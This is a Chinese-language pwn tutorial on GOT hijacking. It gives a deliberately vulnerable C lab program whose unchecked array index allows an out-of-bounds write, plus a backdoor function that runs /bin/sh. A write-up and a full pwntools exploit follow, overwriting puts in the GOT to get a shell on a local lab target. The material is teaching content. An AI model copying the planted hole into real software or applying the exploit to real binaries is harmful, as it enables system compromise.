前言

前一天我們介紹了 GOT 和 Lazy Binding 的機制,今天要介紹的是如何利用這些機制進行攻擊,也就是 GOT Hijacking。

簡介

由於 Lazy Binding 的機制,GOT 是可寫的。因此,如果能夠覆蓋 GOT 的值,那麼下次呼叫該函數時,就可以控制即將執行的函數指針。這種情況通常出現在陣列未驗證輸入範圍、記憶體越界(即所謂的 out of bounds,oob)或是透過格式化字串(format string)將特定值寫入 GOT 的情況。

Lab

 1#include<stdio.h>
 2#include<stdlib.h>
 3
 4int backdoor(const char *arg){
 5    system("/bin/sh");
 6}
 7
 8long long value[4];
 9
10int main(){
11    setvbuf(stdin, 0, 2, 0);
12    setvbuf(stdout, 0, 2, 0);
13    setvbuf(stderr, 0, 2, 0);
14    long long index;
15    for(int i = 0; i < 4; i++){
16        puts("Enter a index to store a value: ");
17        scanf("%lld", &index);
18        puts("Enter a value: ");
19        scanf("%lld", &value[index]);
20    }
21    if(value[0] != 123){
22        puts("CHECK FAILED\n");
23        exit(0);
24    }
25    if(value[1] != 456){
26        puts("CHECK FAILED\n");
27        exit(0);
28    }
29    if(value[2] != 789){
30        puts("CHECK FAILED\n");
31        exit(0);
32    }
33    if(value[3] != 101112){
34        puts("CHECK FAILED\n");
35        exit(0);
36    }
37    puts("CHECK PASSED\n");
38    return 0;
39}

使用以下指令進行編譯(注意,預設編譯會是 Partial RELRO):

1gcc src/got.c -o ./got/share/got -fno-stack-protector -no-pie

大家可以嘗試練習這道題目,或者繼續閱讀以下的解題步驟。

writeup

首先,這道題目有一個 backdoor() 函數,該函數會直接打開一個 shell。此外,程式允許我們四次機會編輯陣列 value 中的值,並且可以自由選擇要修改哪個索引值。由於沒有驗證索引範圍,因此我們可以利用 oob(out of bounds)漏洞,再加上 GOT Hijacking,將某個函數指針覆蓋,使其執行 backdoor 函數。

這題相對簡單,因為可以使用 objdump 來 disassemble 程式,從中計算應該填入哪些位置。從 main 函數可以看到 value 陣列的位址是 0x404080。

image

接下來我們需要找出該填入的位置與 value 陣列位址之間的差異。在這裡,我們選擇覆蓋 puts 函數,因為在寫入值之後會呼叫 puts 函數。確認一下 puts 的 GOT 位址是 0x404000,依此就能判斷應該覆蓋哪個索引。

image

接著,我們要將 backdoor 函數的位址(0x401166)寫入。

image

現在所有資訊都已經掌握,可以開始編寫 exploit。

記得因為程式直接接收數字及數值,因此以字串的形式輸入即可。

完整 exploit:

 1from pwn import *
 2
 3# r = process('../got/share/got')
 4r = remote('127.0.0.1', 10002)
 5
 6value = 0x404080
 7puts_got = 0x404000
 8backdoor = 0x401166
 9
10offset = (puts_got - value) // 8
11r.sendlineafter(b'Enter a index to store a value: \n', str(offset).encode())
12r.sendlineafter(b'Enter a value: \n', str(backdoor).encode())
13r.interactive()

solved!!

image